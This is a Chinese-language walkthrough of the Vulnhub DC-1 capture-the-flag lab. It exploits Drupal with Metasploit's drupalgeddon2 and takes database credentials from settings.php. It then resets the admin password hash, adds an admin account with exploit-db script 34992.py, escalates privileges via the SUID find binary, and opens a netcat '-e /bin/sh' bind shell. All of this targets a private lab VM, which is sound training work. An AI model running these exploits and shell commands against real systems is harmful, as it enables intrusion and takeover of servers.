Vulnhub靶机渗透测试之DC-1-Drupal
2020-12-21 00:24:14 Author: www.freebuf.com(查看原文) 阅读量:119 收藏

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

vulnhub官网https://www.vulnhub.com

1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

环境配置

攻击机kali:192.168.0.114

DC靶机:192.168.0.119

(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)

虚拟机打开如下所示:

1608470808_5fdf51188687e555f70ea.jpg!small?1608470807607

步骤

一、信息收集

1、使用nmap扫描扫描到192.168.0.119,开放了80端口

1608471275_5fdf52eb1a3a0e51c5511.png!small?1608471274156

2、访问:http://192.168.0.119:80,页面如下所示,通过Wappalyzer或者网页底部的Drupal知道网站的CMS是Drupal。

1608470975_5fdf51bfe4a1d5d0f9131.jpg!small?1608470976108

3、查看网站的robots.txt协议,扫描目录都没有什么收获

1608471589_5fdf5425988a21f71088c.png!small?1608471588794

二、漏洞发现及利用

1、使用msf查找一下Drupal的漏洞,然后一个一个尝试看是否可以利用。

1608471456_5fdf53a09fc2311caa7d8.jpg!small?1608471456736

2、最终使用第四个成功利用,即drupalgeddon2漏洞:exploit/unix/webapp/drupal_drupalgeddon2(CVE-2018-7600)

1608471941_5fdf55850d75cda686caf.jpg!small?1608471940125

三、getshell

1、普通权限的shell

漏洞利用成功,也getshell了,可惜不是root权限,但是也找到了第一个flag

执行的命令如下:

shell

whoami

ls

cat flag1.txt

1608472173_5fdf566d99e6efc1ba887.jpg!small?1608472172672

1608472249_5fdf56b94903940324a09.jpg!small?1608472248362

flag1中提示到:每一个好的CMS都需要一个配置文件,就如你一样。

Drupal的默认配置文件为:settings.php,查找一下settings.php文件所在的路径

find -name “settings.php”

cat /var/www/sites/default/settings.php

1608472614_5fdf5826a647182f59110.jpg!small?1608472613865

配置文件中得到flag2,翻译大致意思是:暴力破解不是唯一的方式,我们需要获取一个访问的权限,所以需要获得网站登录的用户名和密码。

1608472825_5fdf58f90a7503ff98c76.jpg!small?1608472824247

还得到了数据库的账户名和密码:dbuser/R0ck3t

2、交互式的shell

既然得到了数据库账户名和密码,可以使用python反弹一个交互式的shell,然后利用账户名密码成功连接数据库

python -c 'import pty;pty.spawn("/bin/bash")'

mysql -u dbuser -p

输入密码:R0ck3t

1608472966_5fdf598625262e1acefa4.jpg!small?1608472965242

show databases:查看数据库,查询到数据库名为drupaldb

1608473398_5fdf5b36c901f99e2c5cb.jpg!small?1608473397832

查询数据库drupaldb中的表,其中有一个users表,账户名和密码应该就是其中。

1608473465_5fdf5b790ad54abdb22c6.jpg!small?1608473464019

select * from users:查看users表中数据,发现了账户名admin,但是密码是被加密了的

1608473577_5fdf5be9d622dbeed46b9.jpg!small?1608473576924

但是可以修改admin的密码或者新增加一个admin权限的用户

修改admin账户的密码

使用Drupal对数据库的加密方法,生成一个新的密码,然后使用此密码更新admin账户的密码

加密的脚本所在路径:/var/www/scripts/password-hash.sh

使用该脚本文件加密明文密码为:123456的密码,得到加密之后的密码

1608473760_5fdf5ca0dcd1c4808563d.jpg!small?1608473760021

然后再在mysql的终端执行:

update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin"

成功将admin账户的密码修改为:123456

1608473773_5fdf5cadac56a6779bbcb.jpg!small?1608473772708

1608474146_5fdf5e22ec28f62ad1999.jpg!small?1608474146298

新增一个admin权限的账户

需要查看靶机的版本,然后再用对应的脚本去添加一个账户,靶机的版本为:7.24

cat includes/bootstrap.inc | grep VERSION   #查看靶机版本

1608474247_5fdf5e87cf88fddbdfff9.jpg!small?1608474246880

使用searchsploit命令搜索Drupal可以利用的脚本

1608474352_5fdf5ef08303b549df7fb.jpg!small?1608474351856

添加一个账户:admin123/admin123

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.119 -u admin123 -p admin123

1608474435_5fdf5f43ef074076ea90f.jpg!small?1608474435003

成功登录

1608474646_5fdf6016aec96f9b5dbf3.jpg!small?1608474645741

登录之后点击Find content之后找到falg3

1608474657_5fdf602170dd4f59bd4de.jpg!small?1608474656544

flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到

/etc/passwd文件和/etc/shadow文件

1、所有的用户的账号和密码都在这两个文件中

2、/etc/passwd保存着每个用户账号。该文件只有管理员可以修改,但是对于所有的用户都可读

3、/etc/shadow保存着密码等信息。该文件只有系统管理员能够修改和查看,其他用户不能查看、修改。

cat /etc/passwd查看文件,提示flag在/home/flag4里面

1608475059_5fdf61b37d944d2c5b759.jpg!small?1608475058578

查看home/flag4/flag4.txt文件,得到flag4

flag的提示:您可以使用相同的方法在根目录中查找或访问标志吗?

即要用用相同的方法在root目录下找到最终flag。

1608475261_5fdf627d9fcc036951134.jpg!small?1608475260776

最后的flag在root目录下,但是没有读写的权限,所以要用到提权了。

1608475605_5fdf63d563630f97c3289.jpg!small?1608475604488

四、提权

1、suid提权 

suid提权参考文章:suid提权

查找具有root权限的其他命令,以下均可查询:

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb { }

执行:find / -perm -4000

ls -lh /usr/bin/find

发现find本身就是root权限

1608476574_5fdf679ed960081f14359.png!small?1608476574002

1608476715_5fdf682ba15bdd8690503.png!small?1608476714663

利用find来提权,成功得到flag

find ./ 111 -exec '/bin/sh' \;

1608476395_5fdf66eba4071e921c4d5.jpg!small?1608476394904

2、利用netcat来提权

通过find执行的命令既然都是root权限,那也可以netcat来将它提为root权限,创建一个admin的文件,然后再利用find将netcat的权限提升为root权限

touch admin
find admin -exec whoami  \;                                                                 
find admin -exec netcat -lvp 7777 -e "/bin/sh" \;

1608476280_5fdf6678d4e51f5b74133.jpg!small?1608476279878

成功得到flag!

1608476294_5fdf668691676ea2a8dd1.jpg!small?1608476293661

涉及到的知识点

1、msf的使用以及寻找可以利用的漏洞

2、网站的配置文件

3、mysql数据库的基本操作

4、Drupal的管理员密码忘记的解决办法

5、suid的提权

参考文章:

https://zhuanlan.zhihu.com/p/135342104

https://www.jianshu.com/p/86b3c598a4c4


文章来源: https://www.freebuf.com/articles/web/258373.html
如有侵权请联系:admin#unsafe.sh